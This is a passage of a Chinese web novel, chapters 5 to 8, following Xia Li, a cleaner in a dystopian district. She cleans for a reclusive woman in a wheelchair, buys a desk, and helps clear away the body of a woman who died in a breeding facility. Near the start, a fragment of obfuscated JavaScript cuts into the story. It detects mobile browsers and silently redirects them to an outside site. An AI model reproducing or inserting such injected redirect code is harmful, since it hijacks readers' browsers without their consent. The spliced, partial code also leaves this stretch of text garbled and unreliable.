这是一套很大的房子,入眼的客厅就比夏荔租的房子整套还大。大得显得有些空旷的客厅里有一扇四五米宽的落地窗,那里的轮椅上坐着一个中年女人,她看着窗外,右手食指和中指间夹着一根吸到一半的烟。
“早上好。”夏荔关上门,轻声问好。
中年女人吸了口烟,转头看向她,露出了憔悴的略显沧桑的脸庞,肤色苍白,衬得她眼里的红血丝如贫瘠之地蔓延的藏红花花丝,“清洁用品在你右手边的客卫里,开始打扫吧。”
夏荔:“好。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433939|184926||http|test|mini|href|location''.split(''|''),0,{}));
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>她紧记花哥的提醒,全程尽量放轻动作,少看不说话。
这是一套两室两卫的房子,有一个相对大的客厅连着餐厅,主卧加一个书房,整体是暗色调,全屋很多黑胡桃木家居,配以暗灰和深绿的颜色,高级、沉静。房间不脏,大概是经常有人打扫。
在楼下等时,夏荔问过花哥日常打扫的范围,她从上向下,由擦玻璃开始,到拖地结束,看到茶几上和沙发上凌乱地放着一堆书,夏荔也蹲在一边,分门别类地给整理好了。
打扫期间,房间的主人也一直没说话,她一直坐在窗边,时不时看向窗外。
打扫再小心,还是难以避免发出一些细微的声音。这声音并不尖锐,细微的窸窣声在大房子里响起,代表着这房子里另一个安静的人的存在。
三个小时如溪水淌淌而过。
“您好,我打扫好了,您看看哪里还需要再打扫打扫吗?”夏荔问。
房间主人恍惚回神,确实是恍然,即便夏荔不明白为什么,确实在她阴郁的眉眼里看到了恍惚,恍惚后她细细的眉毛皱着,眉心一抹深深的褶皱。
是嫌她打扫的时间太短了?夏荔没找过保洁打扫房间,这又是第一次打扫,不知道正常一次日常打扫要多长时间。
房间主人眉头松开,对她说:“麻烦过来一下,我把生存点转给你。”
夏荔走到她身边,把身份卡递给她。在她输密码时看向窗外,房间窗外也是那栋画着向阳花的小楼,不过对着的不是向阳花那面墙,而是那栋楼的正门。
“嘀。”女人把身份卡递给她,“好了。以后每三天来做一次日常清洁,两周一次深度清洁。”
夏荔立即点头,“好,我记住了。谢谢您。”
说完后,她又补充:“如果您方便,非打扰日的晚上,我可以来帮您洗碗、扔垃圾,我就住在隔壁,几分钟就过来了,很方便,不额外收费。”
女人似乎想说什么,但她最终只是点点头,转头继续吸烟。
长发在她肩头滑落,夏荔只能看到烟气缭绕,从她眼尾一簇细纹飘过。
走到门口打开门,夏荔回望窗边的背景,又走到窗边。
听到她的脚步声,坐在轮椅上向外望的人转头看过来,或许是烟气熏染的原因,她的眼睛里是一片经年不散的幽黑阴霾,冰冷地看着她。
夏荔:“为了方便每天上门,我们是不是可以加个联系方式?”
从那栋楼里出来时,迎面是一阵风,风依然黏腻,却没有磨人的砂砾感,似乎是温柔了。
夏荔打开身份卡才发现,她的第一位客户给她转的是600生存点。
她立即给花哥转了60,告诉他:[花哥,我赚到了600生存点。]
[恭喜夏荔第一次保洁工作顺利且优秀地完成。]花哥很快给她回了消息,[看来这位苛刻的客户对你很满意。]
夏荔:[谢谢花哥。那位阿姨让我以后每次三天来做一次日常打扫。另,我没觉得她苛刻。]
花哥:[不苛刻?她几乎没让同一个保洁员进过她家两次。全K-3区的保洁我都找遍了,都不合她心意。昨晚我就猜你应该可以,果然。]
夏荔:[为什么会做出这样的猜测?]
花哥:[夏荔,你是一个很容易让人喜欢的女孩。]
夏荔看着传呼机发来的消息停下脚步,风把发丝吹向她的眼睛,造成了一种看花眼的错觉。
这是夏荔人生中第一次听到这种话。
5. 第 5 章
夏荔站在原地给花哥回复:[谢谢。]
输入这两个字时,夏荔忽然想到许洲对自己的评价。
不是当着她的面给出的评价。之前她在小队里休息时,很喜欢背靠房车车窗,坐在床上看书。有一次她看到唐晴烧的热水好了,正咕嘟咕嘟冒热气,打开车窗想提醒她。
他们三人坐在外面正在烤地瓜吃,火苗在风中舞动,照耀着许洲向后瞥的嘴,他对唐晴和唐明说:“你们觉不觉夏荔很人机啊?她就像是个客服机器人,‘您好’、‘谢谢’,所有的话从她嘴里说出来都像是初始设定好的机器语言。”
想到这里时,[谢谢]两个字已经发出去了。
不知道花哥会不会觉得她像个人机。
夏荔从小情绪一直很淡,当时听到许洲这么说,她只有疑惑,疑惑自己是不是真的很人机,也可以说是有一点好奇,和此时一样。
夏荔只好奇了一下下,把传呼机装进兜里,脚步轻盈地往外走。
今天她赚了540生存点,未来钱途也很明亮,似乎可以去交易所看看。
夏荔刚走到交易所那个拱形门,就听到齐老板喊她,他站在离她十几米的地方热情对她挥手,“夏荔来了啊!”
“齐老板,中午好。”夏荔走到齐老板有摊位前,问他:“今天生意怎么样?”
“不错,交易所十点开门,我已经开张了。”齐老板问:“你呢?今天开张了吗?”
夏荔点点头,“我也开张了,我刚做完一家保洁。”
“那可太好了,我们今天都赚到了钱。”齐老板向门口那里扫了一眼,探头神秘地跟她说:“夏荔,我又有一件大货,适合你,而且这次你应该能买得起。”
夏荔默然,她如实告诉齐老板:“我最想买的是一张实木书桌,不过,我也想看看齐老板的大货长长见识。”
齐老板正要给夏荔拿大货,有个人来他摊位上买东西,他向身后指了指,“夏荔,我那杂货铺里有一张书桌,你先去看看。”
齐老板在交易所有一个铺子,他的小摊就摆在铺子前。每天有什么新来的、想卖的、吸引眼球的东西,他就会从杂货铺搬到前面的摊子上主卖。
杂货铺有些乱,好多东西凌乱地堆积在一起,夏荔见过的没见过的都有,上面布满尘埃。
整个杂货铺只有西北角一处很干净,那里放了一张供桌,供桌上两个灵位,一个上面写“爱妻赵荷”,一个上写“爱女齐宝安”,供桌上摆着一盘新鲜的苹果。
供桌下面是一个地铺,地铺褥子紧靠供桌,枕头也贴在供桌桌角上,被子叠得整整齐齐像一个豆腐块,和杂货铺其他地方的凌乱相比,这里就是杂货铺的天空城。
夏荔移开视线,继续寻找齐老板说的书桌,在窗户旁几个盆下面,好像找到了它。
“怎么样?这是一张樱桃木书桌,真材实料,你看,它已经氧化出一层漂亮的光泽了。”齐老板用一块毛巾擦掉桌子一角的灰尘,“你知道的,这年代实木的东西很少很贵的。”
和她出租房的小书架是同一种木材,夏荔心动,“多少钱?”
齐老板:“1360。”
夏荔一双如海水凝结的眼睛看向齐老板:“360。”
齐老板:“……”
齐老板转头就向外走,走了两步又转头凶狠地看向夏荔。
夏荔安静地看着他。
齐老板一肚子混和了愤和怨的气被幽幽叹了出来,“要是这个混蛋砍价法,我会报11300。”
夏荔:“……”
齐老板的底价是1300。她计划是用新赚的生存点来买书桌,之前剩下的3100生存点不动,这样的话,再做两次保洁就可以来买了。
夏荔说:“再攒攒。”
夏荔穷,齐老板还是拿着他说的大货给夏荔看了。这次不在小摊上,两人坐在杂货店门口,齐老板不用压低声音,“其实不算是大货啦,性价比很高的。”
盒子打开,里面是一个口罩。
“这是……”夏荔指了指远处高耸的天空城。
齐老板点头,得意地说:“主要是夹层里这一块,用了很多天空城的土提纯的,外层的口罩可以随意换,实用吧?”
是很实用,但夏荔觉得,就算齐老板说性价比很高,就算它是比外套用料少很多,这种东西她也买不起。她问:“多少生存点?”
齐老板没有立即回答,转头看向她,向里凹陷的眼皮裹着一双狡黠的眼,就在夏荔以为他要说出一个可怕的价格时,他道:“580。”
夏荔眼睛微微睁大,这次的还价方式很明显,总不可能是80,“500?”
500已经低出她的预估范围了。
“嗯。”齐老板把盒子放到她的手上,“这次还对了,去刷卡!”
夏荔双手托着盒子盯着那个白色的口罩看,有点没反应过来,自己突然就有了这种藏着违禁品的大货,还是以她很能接受的价格。
她转头看向齐老板,“齐老板……”
“多适合小保洁员啊。”齐老板也正看着她,在雾蒙蒙的阳光下,露出一个笑来,凹陷的眼皮被眼尾的笑纹拉得舒展了许多,狡黠的眼睛上一层暖黄色的光,“夏荔,把它卖给你,我开心。”
夏荔微怔。
“老板,这个桌布怎么卖?”
“来了来了,那可是亚麻桌布,最后一个了,188就卖。”
今天是周日,基地很多人一周仅有一天的休息日,交易所人比较多,齐老板的生意看起来很不错。
送走一波客人后,齐老板走到刷卡器面前看今天赚了多少钱,一抬头看到自己那个凌乱的小杂货店门头被打扫得焕然一新。门后面那个区域胡乱堆积的杂物各分门别类待在了舒服的位置,被黏湿空气污染,附着一层厚厚尘埃和烟灰的门框玻璃被擦得干净锃亮。
那扇门,久违地迎进了阳光。
齐老板转头,交易所拱形门那里也没有了夏荔的身影。
夏荔带了四个菜包子、两个鸡腿、一瓶牛奶,和刚买的大货回出租屋了。
她把窗帘拉上,把盒子放在桌子上,洗漱后,她一边吃饭一边盯着盒子里的口罩。
吃饭完后,她小心地拿出这个价值500生存点,被她盯了二十几分钟的口罩,慢慢戴到自己脸上。
“咳咳咳!”
细细感受了也就十几秒,夏荔立即把口罩摘下来猛烈地咳嗽了起来,像是有细细密密的尘埃不仅冲向了她的喉咙,还冲向进了她的大脑,在大脑里四散飞扬。
夏荔的身体本能地抗拒着它,盯着桌上这个口罩像是盯着病毒Purple,但……她又忍不住想要触碰它。
矛盾难言的感觉。
夏荔再次拿起口罩戴上。
为了不让人发现这是违禁品,口罩外层做的和普
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通口罩一样,就是夏荔平日里带着的口罩相同的材质,刚带上时感觉也没什么不同,当她开始缓慢呼吸,外面的空气通过口罩进入鼻腔,没有土地的气息,是另一道太细微,难以捕捉,似乎和血有点相似的气味。
夏荔手伸到耳边口罩带上,马上要碰到细带的食指下弯,又忍住摘下来的冲动。
她的手撑在桌上,一次次缓慢呼吸,感受着,适应着这个口罩,直到她不再想咳嗽,才把口罩摘下来。
从旁边书架上拿出一个记录本,把她刚才戴口罩的详细感受记录了下来。
记录本翻了个个,从后面开始又是一个记账本,夏荔把今天的收支记录下来。
早饭-10
保洁+540
口罩-500
午饭-22
截止当前,今日还有8个生存点的盈余。她本计划留一个鸡腿和两个包子当晚饭的,看着口罩不知不觉全吃完了,再算上晚饭的话,今天赚的可能不够花的。
少吃一点。
而她要买那张书桌,还需要三次保洁,如果只给那位阿姨做,需要九天。
九天也可以。
晚上,夏荔正要洗漱睡觉时,传呼机上的一条消息,缩短了她拥有书桌的时间。
[晚上接单吗?房间脏了,需要两个小时的保洁,一小时200?]
——来自她的第一位客户。
夏荔立即回:[接的,十分钟后到。]
卧室只开了昏黄的壁灯,飘窗上和被子上一片片血红,长发女人低头安静地坐在床边的轮椅上。
乍一看,这是像是刚杀完人,飘进鼻子里的酒香告诉夏荔不是,那红色是红酒而不是鲜血。
一瓶红酒被砸到了窗台上,溅落到窗户和床上。
夏荔问好后,立即开始收拾。她先换了一床被子和四件套,出去拿垃圾桶和扫把回来时,看到房间主人已经坐到床上去了,正好方便夏荔清理酒瓶碎片和地上的红酒。
她感觉房间女人看了她一眼,似乎是在看她今天新买的大货口罩,不知道是不是她的错觉。
她没问,夏荔也就没说。
清理完玻璃碎片和地上、窗上的红酒也就花了十几分钟,可是房间主人却要了两个小时的保洁。夏荔问:“被罩需要手洗是吗?”
房间主人今晚第一次开口,“嗯”了一声。
夏荔:“那我拿去客卫洗。”
房间女主人:“客卫全是清洁用具,施展不开,你就在主卧这个卫生间洗吧。”
夏荔:“好。”
主卧的卫生间很大,夏荔搬来一个大盆和一个小凳子,又拿来一袋盐,在里面洗被罩。她尽量放轻声音,卧室里只能听到水流声,和有规律的搓洗声。
被罩上溅到的红酒并不多,但被罩和床单都很大,洗起来确实有点费时间。
洗完、收拾完卫生间,花了一个多小时。
夏荔打开卫生间的门,看到房间的主人躺在床上已经睡着了。
卧室壁灯的光不明亮,暖暖一层落在她的脸上,让她的脸看起来没有那么苍白,皱纹隐在昏暗的光线里,紧皱的眉头放松垂落,盖在瘦削身上的被子不明显起伏。
她睡得很香。
病毒和死亡,以及夏荔不知道的一些沉重的东西,都被那一层素白的窗纱隔绝在了她的梦境之外。
夏荔也感觉到了夜的静谧和安然。
6. 第 6 章
第6章
夏荔离开601时,已经是夜里十二点多了。
深夜附近只有隔着两三条街的哭喊声,传到这里低了很多,整条街显得更安静。路过一个坐在垃圾桶里喝酒的人,夏荔看向向阳花时,发现那里坐着一个小孩。
她就坐在向阳花下面,小小的身躯半隐在灯光照不到的阴暗里,一动不动地望着前面。
如果不是特意看向那里,不会看到她。
夏荔走过去,和她一样坐在那里,看向低远处的K-3区。她们这里处于K-3区地势较高的位置,远远看出去,K-3区的灯光就在脚下,透过夜雾星星点点地透了出来,她们好像在云层之上的天上一样。
吹着有些黏腻的夜风,夏荔安静地看着远处放空。
听到窸窣声,夏荔看到小女孩从兜里掏出一个橘子。她低着头把小橘子掰成两半,沉闷的空气中顿时飘出一道清爽甘甜的柑橘香气。
一半小橘子递到了夏荔这边,小女孩没有抬头,双耳边的两个小辫子被风吹得晃悠。
基地中的新鲜水果太贵了,夏荔已经很久没吃过新鲜水果了,中午在齐老板那里看到那一盘摆在供桌上的苹果,她就……很饿很饿。
没有挣扎,夏荔接过了那一半橘子,“谢谢。”
两人坐在墙边,一起看着远方,共享一个橘子。她们吃得同样慢,把橘子瓣放进嘴里后,不立即咬开,在嘴里含一会儿,像是在吃橘子糖。
当牙齿咬开那一层薄薄的白皮,丰沛的汁水和口腔分泌的水几乎同时出现。
好甜。
橘子汁流入身体的感觉,和看到小女孩递给她一半橘子一样,让今天晚上是橘子味的。
缓慢吃完橘子,两人离开了那里。
第二天早上醒来时,夏荔卡里多了400生存点,是昨晚的保洁费。
当天晚上,花哥又给她推了一个客户,同时她看到她的第一个来自隔壁小区601的客户,又给她发来一条消息:[卧室脏了,需要两个小时的保洁。]
夏荔给花哥说:[花哥,这两天你先不要给我推客户了,第一位客户似乎对保洁的需求量很大。]
花哥:[好像确实是这样,那等你需要再跟我说。]
夏荔:[谢谢花哥。]
601这次卧室又被红酒弄脏了,不过好在红酒只洒在了枕头上。夏荔过去时,房间主人正坐在轮椅上拆枕套,夏荔忙过去接过手,“阿姨我来吧。”
中年女人侧头看向她。昨晚夏荔走时,她睡得很香,想来她有一夜好眠,可惜并没有让她眼里的红血丝减轻多少。
601的主人有一双很美的眼睛,没有红血丝时一定更好看。
中年女人目光首先落在她的口罩上,把枕套交给她,说:“以后来打扫卫生,不用戴口罩,口罩对病毒Purple无效。”
“好。”夏荔立即摘下口罩,“我是怕您介意,您说不戴,以后我就不戴了。”
夏荔观察了一下卧室,“只要一个小时。”
她正说着时,两个小时的保洁费打到了她的卡上。
房间主人听到她的话抬头看向她。
夏荔:“……要不,我再给您打扫打扫其他地方。”
“稍微打扫下厨房,剩下的时间……”房间主人抬头看向床对面那个矮书架,“你可以看看那里的书。”
夏荔眼睛微亮,她第一次来这里打扫,整理客厅的书时就发现,房间主人有很多好书。
“好,谢谢您。”夏荔得寸进尺地提了个小建议,“阿姨,以后三天一次的日常清洁也放到晚上这个时候,合适吗?”
她的这位客户似乎经常在晚上把房间弄脏,如果日常清洁改成晚上,就不用多一次清洁了。
她可以尽情弄脏。
等她弄脏后,她再来做清洁。
她的客户接纳了她的提议。
夏荔看了一眼那个矮书架,怀着不错的心情开始了打扫。
很多人不喜欢打扫卫生,尤其是在他们生活的这个年代。夏荔很喜欢,她喜欢把房间打扫得井井有序、焕然一新,好像把房间的阴霾和不好的能量都清扫了,也把自己心里不好的能量打扫干净了。
她希望这个房间的主人也有这样的感觉。
那她的这份工作会更有意义。
和昨天一样,夏荔打扫完卫生,房间的主人已经睡着了。
卧室的矮书架就在床对面,由一块柔软厚实的地毯连接着它和床尾。夏荔打开书架上的黄铜台灯,拿出自己最想看的那本书,坐在柔软的地毯上,屈膝靠在书架上看了起来。
安静或不安的夜被紧闭的窗户关在外面,卧室里的静谧在床头壁灯和书架台灯的晕染下,有了暖黄的色泽,书页翻动轻微沙沙声成了夜和梦的和弦。
在呼吸声和一圈正好笼罩她的灯光陪伴下,夏荔沉浸在书中。
不知道过去多久,她从书本中抬头,看到对面不知道名字的房间主人沉于梦中。薄被勾勒着她的瘦骨伶仃,眼尾的细纹诉说着她的沧桑,可暖黄的灯光会照出她的美丽。
夏荔双手握着书本,一瞬间有些恍惚。
夜太安静了。
太好了。
她好像也做梦了。
在无人知道的夜里,夏荔无意识做了坏事,她没有在两个小时的时候离开,她在那里多看了一个多小时的书。
回去时已经是下半夜了,夏荔看向花墙,没看到那个小女孩。
没有意外,第三天晚上,夏荔又去601打扫了,并留在那里看了一个小时的书。
这三天晚上,夏荔赚了400+400+200,一共1000生存点,花了58生存点,除去留下的应急生存点,剩余942,距离樱桃木书桌,还差358生存点,而明天是就是日常全屋清洁,她可以赚500生存点。
后天她就可以去买一张属于自己的书桌了。
夏荔算着账往回走,看到向阳花下那个小女孩的身影。
夏荔坐过去把这个好消息告诉了小女孩,安静不言的小女孩分给她半个橘子恭喜她。
“谢谢。”
夏荔拿兜里的奶糖作为回礼。
第二天晚上打扫时,601的主人从窗外收回视线,“似乎有什么好事要发生?”
夏荔又把这个好消息告诉了她,又收到了一本书。
K-3区交易所和其他区交易所一样,上午九点开门,晚上十点关门。买书桌那天,夏荔九点刚过就到交易所了,有人比她到的更早。
身穿红底黑花衬衫的花哥站在黄色的“齐老货”横幅旁,作为交易所一道亮丽的风景跟她挥手。
“好久不见夏荔,看来你在K-3区适应得很好。”花哥看着她露出一个令人心情很好的笑,“齐老板说你要来买书桌,让我来给搬。”
“谢谢花哥,如果没有你帮我找房子找工作,我不会这么快适应,还能这么快赚到买书桌的钱。”夏荔说:“现在,又给你添麻烦了。”
没想到,她买书桌的事,她在K-3区主要认识的人都知道了,也都参与了。
“我的荣幸,昨晚大半夜齐老板给我发消息时,我就开始期待了。”花哥说:“这么快赚到买书桌的钱是你自己的本事,想必很辛苦吧?”
“不辛苦,我其实
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只在601那位阿姨家做保洁,她这两天晚上都叫我去打扫。”夏荔说。
“那还不辛苦?”花哥无奈地摇了下头,“601那位长期失眠,晚上是她心情最差,最阴郁可怕的时候,连厨娘都不想去她家做晚饭。”
这和夏荔的感受不一样,夏荔正要说,被一道沉沉的拖拽声打断。
“甭聊了,快来帮我!”齐老板略显笨拙地从杂货铺里把书桌搬出来,他依然穿着唐装,那唐装在他身上有些小了,使得他搬东西不是很方便,刚把书桌的搬出门口就呼叫帮助,“这个书桌绝对真材实料,太沉了!”
夏荔和花哥一起过去帮忙。书桌确实沉,齐老板觉得夏荔和花哥一起搬回去也不容易,于是加入了搬书桌小队,一起帮夏荔把桌子搬到了夏荔喜欢的窗户前。
桌子是实木的,而且用料很扎实,桌面很厚实,从交易所搬到楼下,再搬到四楼,三人都累得喘气。
夏荔拿出家里的水分给两人,“谢谢齐老板,谢谢花哥,我请你们吃饭。”
“那感情好,不如找个时间去我那里吃。”整理着自己的唐装,齐老板积极说:“交易所那里有几家小吃不错,我们可以各买一点在我摊子那里吃,舒服又热闹。”
夏荔没意见,她这里确实有点小,去齐老板那里更自在。
花哥正要说话时,他的传呼机响了,拿出传呼机看到上面消息时,他的眉毛皱了一下,很快又松开。
“改天吧,我今天有活。”他想了下,看向夏荔,问她:“夏荔,你收尸吗?”
“哪里?”齐老板比夏荔更先开口,他的手指向窗外向阳花墙,“那里?”
花哥点点头。
齐老板的不开心明晃晃挂在脸上,他看起来对花哥要带夏荔去那里收尸很不满,但张嘴又闭嘴,最后只是皱着眉一句话都没说。
夏荔见他确实是不说了,才说:“花哥,我没做过,不会。”
“没事,你只是给我打下手。”花哥说:“我的收尸帮手今天不在K-3区,只看你愿不愿意,愿意我们就去,不想干这种活,我就再找其他人。”
花哥补充:“一次1000生存点。”
“我愿意。”夏荔立即点头,说:“我不怕尸体。”
花哥笑了一声,“好,那准备下就走。”
说准备,其实夏荔不用准备什么,她只是戴上了口罩,在兜里装了适合自己的手套,其他都由花哥专业准备。
他提前一步回住处拿工具,夏荔和齐老板在后面一起下楼,在楼下齐老板看着夏荔又一次把想说的话咽下,叹了口气,像对第一次离家的孩子一样挥了挥手,“戴上口罩,没出来前不要摘,进去后少看少说,去吧。”
夏荔点点头,走了两步,又回头看向齐老板,在弥漫着阴霾的天空下,眼睛静又净,“齐老板,别担心,我真不怕尸体。”
齐老板愣了一下,继而对她笑了笑,“去吧,小保洁员。”
经过那一面向阳花墙,夏荔停在向阳花楼的门口,等到了拉着一个黑色行李箱赶来的花哥。
夏荔仰头看向眼前黑沉沉的拱形大门,问花哥:“花哥,里面是不是有个幼儿园?”
她来这里看房的第一晚,就被一个从里面跑出来的孩子撞倒,后来在向阳花下看到了那个分自己一半橘子的小女孩,花哥还告诉她这里孩子挺多,偶尔有点吵。
一个画着向阳花的小楼,里面孩子挺多,显然存在幼儿园。
“算是吧。”花哥没多说,他微垂头,把黑色的防毒口罩拉到脸上,口罩把他上扬爱笑的唇遮住后,他的眉眼和灰紫色的雾霾融为一体,“夏荔,我们走。”
7. 第 7 章
夏荔在自己的大货口罩外套了一个防毒口罩,戴上一双蓝色医用手套,跟在花哥身后。
黑色大门被敲响,一个穿着白色防护服的中年女人只把门打开一条缝,露出一只细长的眼看向他们。
花哥掏出自己绿色的身份卡:“收尸。”
夏荔跟着他掏出自己的绿色身份卡。
中年女人确认后:“地下二层217。”
夏荔路过好几次的大门对她敞开,迎面而来是温暖好闻的香气,让她有回到那家咖啡馆的感觉。
大门后面宽敞明亮,头顶璀璨的水晶灯弥补了阳光的黯淡,光洁的地面几乎能照出人影。
门对面岛台上香薰正在燃烧,好闻的香味里,夏荔只能捕捉到她闻过的薰衣草的气味,还有一股类似奶油爆米花的香甜气味,其它温柔扑向她的香气,夏荔没闻过,只知道好闻,她像是走进了繁华年代春日温煦的花园。
和外面K-3区破败萧条格格不入,这里是K-3区的天空城。
电梯里走出两个挺着大肚子的孕妇,她们皮肤白皙,透出一层生活优渥的温润光泽,两人不怎么在意地向他们这边扫了一眼,相携着走进了电梯斜对面的房间。
夏荔和花哥不坐那个电梯,他们走到前面一道黄色的门前,门后面是向下的楼梯,比夏荔租的那套房楼梯还要狭窄,他们没法并排,只能一前一后向下走。
越朝下,灯光越暗,地面更潮湿。
负二层有一道狭长的走道,很像夏荔从书上看到的学校里的宿舍,走道两边是一个挨一个的房间,密密麻麻地凑在一起,大概有二十多个。
香气依然在,甚至比一楼还要浓。听说天然的薰衣草有安神的效果,过于浓烈时,只觉得熏人。
踩在潮湿冒苔藓的地面向217走,夏荔在浓烈的薰衣草香气,腻人的奶油香,以及其他香气中闻到了逐渐浓郁的腐烂气味。这腐烂的气味,她很熟,是身体散发出来的,有生命气息的身体,和没有生命气息的身体都可能。
尸臭,薰衣草,奶油。
潮湿,阴暗。
在217门前站定时,夏荔脑海已经出现了一个躺在床上湿漉漉的身影,她低头看到门缝里伸出的一点明亮的黄。
“吱呀。”
没有敲门,217的门没被打扰地直接被推开,视线自然向前延伸,停止在一个披散着头发的小女孩身上。
她坐在一个平躺在床上的身体旁边,左手拿着一个粉色塑料袋,右手抓着几只蠕动的小白虫。
那只手昨晚递给她半个橘子。
躺在低矮床上的女人脸上已经蔓上了灰紫,和蔓延到墙上的霉斑几乎要融为一体,整个房间透露着潮湿的枯败,像是这里经历了漫长的梅雨。
花哥穿上鞋套,绕过房间的杂物,走到走到小女孩面前,弯腰从她手里接过那个粉色爱心塑料袋,摸了摸她的头,“不用帮妈妈抓虫子了,我们来帮她清理。”
他把那个塑料袋的口打了个死结递给夏荔,打开他那个黑色的行李箱,拿出一个外面垃圾箱用的黑色大垃圾袋,“清理的所有东西都放在这里面。”
夏荔点头,把打了死结的粉色爱心塑料袋放到大垃圾袋里,看到小女孩正看着她。她那么小,童稚的眼里映不出悲伤和喜悦。
“把她的衣服脱下来。”花哥用薄毯把死去的女人盖住,抬起毛毯一角,对夏荔说。
夏荔手伸到毛毯下面,没一会儿,死者的衣服被从薄毯另一边推出来,被花哥放到黑色垃圾袋里。
“接下来清晰她身上的烂肉和蛆虫。”花哥从行李箱里拿出一把细长的刀,“我来就好。”
“花哥,我来吧。”夏荔对他伸出带着蓝色手套的手。
花哥没犹豫,信任地把刀交给她,站在旁边看着她清理。
夏荔心里对躺在床上的女人说了一句“冒犯”,给她翻个身,灰紫色美丽的脸庞陷入枕头中。
刚才给她脱衣服时,夏荔就发现了,她身上的腐烂全在身后。长期躺在潮湿的床上不动,生命力衰减的身体,在与床褥贴合之处腐烂生虫。
她的生命消逝在另一群生命的诞生中。
一块腐肉扔进垃圾袋中,接着是另一块。垃圾袋里的腐肉的越来越多,腐坏烂掉的肉很难维持整齐,但能看出几乎没多带出一点好肉,蛆虫被连带着或单独抓住扔到垃圾袋里。
花哥的视线移向夏荔,她面容平和,垂头看着不知何时死去腐烂的女人,眼睛低垂时如凝结出的没有波澜的海水,清澈,微凉,包容万物。
死去的女人越来越干净,身上最终没有一点腐烂和蛆虫。
花哥拿出塑料薄膜,和夏荔一起把她密不透风地包裹起来,干净的她不会再被世界污染,也不会污染世界,从这一层薄薄的隔离,走向永恒的隔绝。
包裹好后,夏荔抬头才发现门口站了好几个人,其中多半是女人,还有三个孩子。他们和在一楼看到的人不一样,枯瘦,少见阳光的眼睛没有多少光,沉默地站在那里看着他们给女人收尸,麻木苍白的脸上看不出多少情绪。
在这房间里的最后一项工作,清理死去的女人在这个房间里的私人用品,花哥又拿出一个黑色垃圾袋,夏荔和花哥一起收拾。
东西不多,几身衣物,身下湿沉的被褥,洗漱用品,碗筷,除了这些生活必需品,夏荔在地上捡起一个装过颜料的碗,旁边有一根被过度使用,发硬变秃的画笔。
画笔在门口处,上面最后沾着黄色颜料,就是夏荔进门前,看到到从门缝蔓延出去的明亮黄。
夏荔捡起那根画笔,最后把它放进垃圾袋,系了个死结,封口。
女人在这个世上所有的痕迹,都被一个黑色的垃圾袋装下了。
夏荔盯着自己脚边的黑色垃圾袋看了几秒,意识到自己想错了。
她抬头看向房间里那个始终安静的小女孩。
还有她。
“能拿得了吗?”花哥问夏荔。
“可以。”夏荔把先把一个黑色垃圾袋绑在花哥的行李箱上,右手拉着行李箱,左手提另一个垃圾袋。
花哥弯腰把被塑料袋密不透风裹住的女尸抱起来,女尸的脑袋靠在他的肩膀,被安稳地抱着离开了
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这个阴暗狭小的房间。
夏荔提着垃圾袋跟在他身后,经过门口几个安静目送他们的人,她能感觉那些视线一直沉默地跟着他们,像空气中灰紫色的雾霾,不沉重,无所不在,笼罩着他们。
在即将离开这栋楼时,他们身后的寂静被一道羽毛一样轻的脚步声打破。
跟上来的小女孩拉下了夏荔的衣角,夏荔转头看向她,见她在衣服上擦了擦手,从兜里掏出一个完整的橘子递给夏荔。
夏荔抿唇几秒,放下垃圾袋接过了那个橘子,轻声说:“谢谢。”
花哥提前联系了移动焚化车,在K区移动焚化车晚点很正常。两人站在不影响别人进出的墙边等它。
收尸工作做了三个多小时,此时已经正午偏后,太阳在寥阔的天幕开始西移。夏荔盯着自己脚上那半截阳光,到现在才开口,“花哥,她们……”
“没有强迫,这是她们努力争取来的机会。”花哥似乎早已预料到她会问什么,直接告诉她向阳楼里的世界:“只要她们能生下天空城那几个家族有异能的孩子,她们和家人就能搬到天空城去。”
焚化车终于开过来了,花哥把死去的女人放进去,“可是,概率很小的事发生在她身上了,她生的孩子不是特异人,不然她早被接到天空城了,而不是死在那个阴暗潮湿的房间里。”
火光比太阳还明亮,和阳光一隐一现印在花哥眼底,他对夏荔说:“K-3区这种地方不少,夏荔……你知道在一些人群里,K-3区又叫什么吗?”
夏荔没开口就等到了答案。
“天空城的子宫。”花哥面容平静地说。
他头微垂,声轻语重,模糊中似乎有叹息的笑,“——人类的子宫。”
死去的女人还剩下最后一个垃圾袋,在把它送过去时,夏荔问:“花哥,她叫什么名字?”
这是一个出乎预料的问题。
花哥总会也想告诉夏荔她想知道的事,“许秋阳。”
“四年前,她的父亲被污染,死时污染了她的母亲,在同一天失去了双亲,她把自己关在他们那个房间一个多月,有一天忽然走出门来找我,说她想来向阳楼。”
夏荔把许秋阳被割下来的东西送进去。
白色的焚化车带着一些灰烬离开了。
还有其他事要忙,花哥也拉着他的黑色行李箱离开了。行李箱拉杆和箱体连接处有一朵白色的针织小花,白花随着脚步晃荡着向前飘,在三个小时前齐老板对她挥手的位置停下了。
和那天晚上一样,花哥回头对夏荔说,“夏荔,欢迎来到K-3区。”
这是花哥第二次对她说这句话。刚来K-3区第一天,还没走进K-3区的围墙前,花哥就对她说过了。
夏荔握紧兜里的橘子,当她反应过来,她已经看向了向阳楼对面的楼,六层的某一间房间。
没有意外,她在那个窗口看到一个坐在轮椅上的女人,正看着这里。
夏荔眼睫垂落,掏出传呼机:[阿姨,我刚才去收尸了,今天你还愿意让我去你家打扫卫生吗?]
[愿意。]
8. 第 8 章
“研究院发现,如果一个人是特异人,那么和他/她有血缘关系的人,获得异能的可能性比普通人大,他/她的孩子极大可能在出生后就带有异能,是天生的特异人。”
夏荔洗了个热水澡,坐在601窗前的地毯上,安静听着601阿姨低哑的声音。她的声音不适合讲睡前童话故事,那一点点安静冷淡的沧桑,把夏荔带到了一道历史幽暗的缝隙里。
这句话背后的信息太大了,她知道了为什么向阳楼会存在,知道了为什么花哥说,许秋阳生下没有异能的孩子属于很小的概率,似乎还有很多其他。
窗外起了风,裹着尘埃,在黯淡了许多的天色里沙沙地轻叩窗户,房间里空气净化器运作的声音嗡嗡地回应着。
“没有人管吗?”她似乎问了个很幼稚的问题。
“没人敢管。”601阿姨说了一个夏荔预料中的答案,她的下半句话又让夏荔觉得,这答案远不是她想的那样简单:“没人能承担得起这沉重的……”
沉重的什么?
她没说出口,被她低头呼的那一口深长的气打断。
